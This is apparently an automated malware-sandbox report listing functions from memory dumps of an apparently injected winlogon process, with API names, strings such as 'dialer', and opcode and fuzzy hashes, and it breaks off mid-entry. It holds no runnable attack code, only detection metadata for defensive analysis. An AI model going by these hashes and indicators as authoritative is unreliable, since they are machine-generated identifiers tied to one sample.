                                            • Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction ID: ccd8efdbd64409059a3f17658d38d7afc50ea8cd74631e28eb6d2bb9e49f1cd4
                                            • Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction Fuzzy Hash: F3E1D37A602F609AEF60DFA9D48839D77E0F749B8BF108115EE8947B99CB34C592C700
                                            Function 00000225DC679944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238224914.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc670000_winlogon.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction ID: 79a22f26d4f7f371d14ec50af5f62361132822db574cad1d617c9f743099e6d3
                                            • Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction Fuzzy Hash: 18E1C17A600F609AEB60DFA9D48839D77E0F749B9AF108915EE8957FD9CB34C492C700
                                            Function 00000225DC6AA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                            • Instruction ID: 555fb57b5e2f5e687e313f4fed1146f863cabed64c72fa6e629389c121d24878
                                            • Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                            • Instruction Fuzzy Hash: 23E1C77A604F50AAFB60DFADD44839D77A0F745799F309116EE8997B9ACB34C182CB00
                                            Function 00000225DC64F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: AddressFreeLibraryProc
                                            • String ID: api-ms-$ext-ms-
                                            • API String ID: 3013587201-537541572
                                            • Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                            • Instruction ID: 4194e3e7209c85e71950454c05d0e0ffaf74f2fe4e207fa6d649fb1745087b51
                                            • Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                            • Instruction Fuzzy Hash: E541F42A32DE20B1EB56CBEEA9087553391BB49BE2F15C125AD0F87785EF38C445C315
                                            Function 00000225DC6AF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: AddressFreeLibraryProc
                                            • String ID: api-ms-$ext-ms-
                                            • API String ID: 3013587201-537541572
                                            • Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                            • Instruction ID: 17cc71c834340602f80b56e8e75482b2e164db3fe2ea15b9f73ab924f287fe61
                                            • Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                            • Instruction Fuzzy Hash: 4A41C22A311F20A5FB16CBAEA9087553391FB45BA2F258129AE0EC7785EF38C445C316
                                            Function 00000225DC64104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocEnumFreeInfoQueryValue
                                            • String ID: d
                                            • API String ID: 3743429067-2564639436
                                            • Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction ID: d1ef6154134f3d25a2e3b62082cc3c12da5f52964662e2438e80bc3b6bcb4469
                                            • Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction Fuzzy Hash: B6418077218F94D6E760CFA5E44879E77A1F388B99F148129DB8A07B58DF38C449CB00
                                            Function 00000225DC6A104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocEnumFreeInfoQueryValue
                                            • String ID: d
                                            • API String ID: 3743429067-2564639436
                                            • Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction ID: 5a3c0a9bbafb0f78905138bbf46c57f4a34e7ddab14eac61c3c20f9c737e8ad5
                                            • Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction Fuzzy Hash: 9B418077214F94D6E764CFA5E44839E77A1F388B9AF148129DB8947B58DF38C849CB00
                                            Function 00000225DC64D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • FlsGetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D087
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D0A6
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D0CE
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D0DF
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC64C7DE,?,?,?,?,?,?,?,?,00000225DC64CF9D,?,?,00000001), ref: 00000225DC64D0F0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Value
                                            • String ID: 1%$Y%
                                            • API String ID: 3702945584-1395475152
                                            • Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction ID: be52c68ba33939f5a848b29d9d21d48e408fdab80177f021fac5a07cf6ddf0ee
                                            • Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction Fuzzy Hash: C111B628B0CE64A1FE6897BED55D32971415B557F2F14C3A4A87B477DADE78C442C200
                                            Function 00000225DC6AD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • FlsGetValue.KERNEL32(?,?,?,00000225DC6AC7DE,?,?,?,?,?,?,?,?,00000225DC6ACF9D,?,?,00000001), ref: 00000225DC6AD087
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC6AC7DE,?,?,?,?,?,?,?,?,00000225DC6ACF9D,?,?,00000001), ref: 00000225DC6AD0A6
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC6AC7DE,?,?,?,?,?,?,?,?,00000225DC6ACF9D,?,?,00000001), ref: 00000225DC6AD0CE
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC6AC7DE,?,?,?,?,?,?,?,?,00000225DC6ACF9D,?,?,00000001), ref: 00000225DC6AD0DF
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC6AC7DE,?,?,?,?,?,?,?,?,00000225DC6ACF9D,?,?,00000001), ref: 00000225DC6AD0F0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Value
                                            • String ID: 1%$Y%
                                            • API String ID: 3702945584-1395475152
                                            • Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction ID: 2022ee20624ae9fac7997fd3bf5dc1645fffc08433487f268156f8275001b495
                                            • Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction Fuzzy Hash: 6911C468700F6461FA68EBFE5A5D36961415F543F2F34D324A83AC77EADE78C842C201
                                            Function 00000225DC647510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID:
                                            • API String ID: 190073905-0
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: a54115b046e8042141df28d7bb05dcfe8318faa30d7cb3b304a9c15ab40c91e6
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: 0281362C61CE31AAFB54ABEDA44C39937D1E785782F14C4A4DA0B877A6DB38C845CF00
                                            Function 00000225DC6A7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID:
                                            • API String ID: 190073905-0
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: f6d16694de95954a0b883b7a0c824403c85fe028b68c945db90d9150eb585885
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: CF81D22D700E21B6FB54EBEDA84D39966D1AB8578BF34D425DA04C77A6DB38C845CF00
                                            Function 00000225DC649DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Library$Load$AddressErrorFreeLastProc
                                            • String ID: api-ms-
                                            • API String ID: 2559590344-2084034818
                                            • Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                            • Instruction ID: 1846bb63d11909a53191b25e77548844483a8de6adc9bd3f24389271b0a95010
                                            • Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                            • Instruction Fuzzy Hash: 2131E62935EE60F1EE21DBCAA408B653398BB48BA6F5985259D1F0B798DF39C447C300
                                            Function 00000225DC6A9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Library$Load$AddressErrorFreeLastProc
                                            • String ID: api-ms-
                                            • API String ID: 2559590344-2084034818
                                            • Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                            • Instruction ID: 0f4212df039294fefdde6ff96b437b18f0d6b6311749627e01e145e3100ab471
                                            • Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                            • Instruction Fuzzy Hash: F431F429312E20F1EE25DBCAA80875523D4BF48BA2F3985259D1E8B79ADF38C047C300
                                            Function 00000225DC653DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                            • String ID: CONOUT$
                                            • API String ID: 3230265001-3130406586
                                            • Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction ID: 158becd88709c9cbcacd230cd8387edf0a13bed790f97ee48f9835d8b457c441
                                            • Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction Fuzzy Hash: 5A119135720F6096E7608BDAE84831977A0F788FE6F248225EB5E877A4CF78C914C740
                                            Function 00000225DC6B3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                            • String ID: CONOUT$
                                            • API String ID: 3230265001-3130406586
                                            • Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction ID: 6e1e93a200b7bd570fa0b190f4c403581b2cb531a58d9972e87f4823fb88df5f
                                            • Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction Fuzzy Hash: 1E11BC35310FA096E7508B9AE848319B7A5F388FE7F088225EB1E877A4CF38C805C740
                                            Function 00000225DC6A3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModule
                                            • String ID: wr
                                            • API String ID: 1092925422-2678910430
                                            • Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction ID: 5626651945d5fb8906f413eb53f91b70d6605e573597d601334c82dde5c84599
                                            • Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction Fuzzy Hash: 40118B2A304F6092EF189BAAE40C269B3A5FB88F86F148038DF8943794EF3DC505C704
                                            Function 00000225DC6A5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Thread$Current$Context
                                            • String ID:
                                            • API String ID: 1666949209-0
                                            • Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                            • Instruction ID: 0ad3d618e1835294593f6452ab590f590bc81cd41d15a12307719c1f0daf2064
                                            • Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                            • Instruction Fuzzy Hash: C9D1AC7A208F9895DB70DB4AE49435A7BA0F7C8B89F104116EACD87BA9DF3CC551CB40
                                            Function 00000225DC642F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID: dialer
                                            • API String ID: 756756679-3528709123
                                            • Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction ID: 2e98920b3895b546e8cfee93848436d20f1d91fbd890dc42e4983bef65e91d92
                                            • Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction Fuzzy Hash: 9131CE2A309F65A2EB52CFDEE54872A77A0FB44B86F18C1209F4A47B55EF34C4A1C300
                                            Function 00000225DC6A2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID: dialer
                                            • API String ID: 756756679-3528709123
                                            • Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction ID: 6d0a1707391fcb5c153528b149007a8a8c9fe1f40df049437015618af4cf0edf
                                            • Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction Fuzzy Hash: 5E31B23A781F61A2EA15CF9EE54876967A1FB48B86F18C0309F4C87B55EF34D4A1C300
                                            Function 00000225DC64CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast
                                            • String ID:
                                            • API String ID: 2506987500-0
                                            • Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction ID: 4157702fcb9233f49a77c46e803b27685ba528657f510afb3a862d3f666b09f6
                                            • Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction Fuzzy Hash: B3119D2874CE6071FE64ABFE954D32932426B95BB6F10C3A4A837477EADE78C441C200
                                            Function 00000225DC6ACFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast
                                            • String ID:
                                            • API String ID: 2506987500-0
                                            • Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction ID: 6f9918c3cbd4a8341a5960baa032c6c80083ab5fabd7ed8650c6535314c37da2
                                            • Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction Fuzzy Hash: B9119D68300E6061FA68EBFE564D32922426F987B6F30C324A836C77EADE78C441C201
                                            Function 00000225DC64199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
                                            • String ID:
                                            • API String ID: 517849248-0
                                            • Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction ID: c75f4c628c11a50a5007a532dfe706c93d8ee4e04b1e1be502c9ae2a36d6589c
                                            • Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction Fuzzy Hash: 0E016929314E5092EB60DB9AA84C35963A1F788BC6F988075DF8A43754DF3CC989C740
                                            Function 00000225DC6A199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
                                            • String ID:
                                            • API String ID: 517849248-0
                                            • Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction ID: cb2a63c83e44a23da2db583fd32e9b754654e1e9db48b59022d394c89ab082b1
                                            • Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction Fuzzy Hash: 99016929300E5092EB18DB9AA89C35963A6FB88BC6F988035DF4D83754DF3CC989C740
                                            Function 00000225DC6436C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
                                            • String ID:
                                            • API String ID: 449555515-0
                                            • Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction ID: 5377c2d080006a4fe2cd119959f91c4f1597db279fc077c9b970d2bb0f292206
                                            • Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction Fuzzy Hash: E101296D325F6492FB649BAAE80C71A73A0BB49B87F148464CE4A07765EF3DC158C704
                                            Function 00000225DC6A36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
                                            • String ID:
                                            • API String ID: 449555515-0
                                            • Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction ID: 3adde3a003b7029c84831e13eabd217eaefc6f8cdf697e4629c9387f833a695b
                                            • Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction Fuzzy Hash: FB012969211F60A2EB289BAAE91C71977A1BB59B87F188424CE4947764EF3DC148C704
                                            Function 00000225DC648FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 2395640692-629598281
                                            • Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                            • Instruction ID: b166926d79cf74f009588074e3820990c0fc1e07a97fa4e01069ba2e3ee14553
                                            • Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                            • Instruction Fuzzy Hash: 6651BF3A75DA20EAEB14DF99E84CB5937AAF344B8AF10C5A4DA174778CDB35C842C700
                                            Function 00000225DC6A8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 2395640692-629598281
                                            • Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                            • Instruction ID: 599e737887705c3809ce4680662d838ae3905f4783b37dc68dc1ccc8eae22418
                                            • Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                            • Instruction Fuzzy Hash: 78519F3A701A20AAEB14DFA9E84CB5937A6F344BCAF30C524DA568778DDB75DD42C700
                                            Function 00000225DC641A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
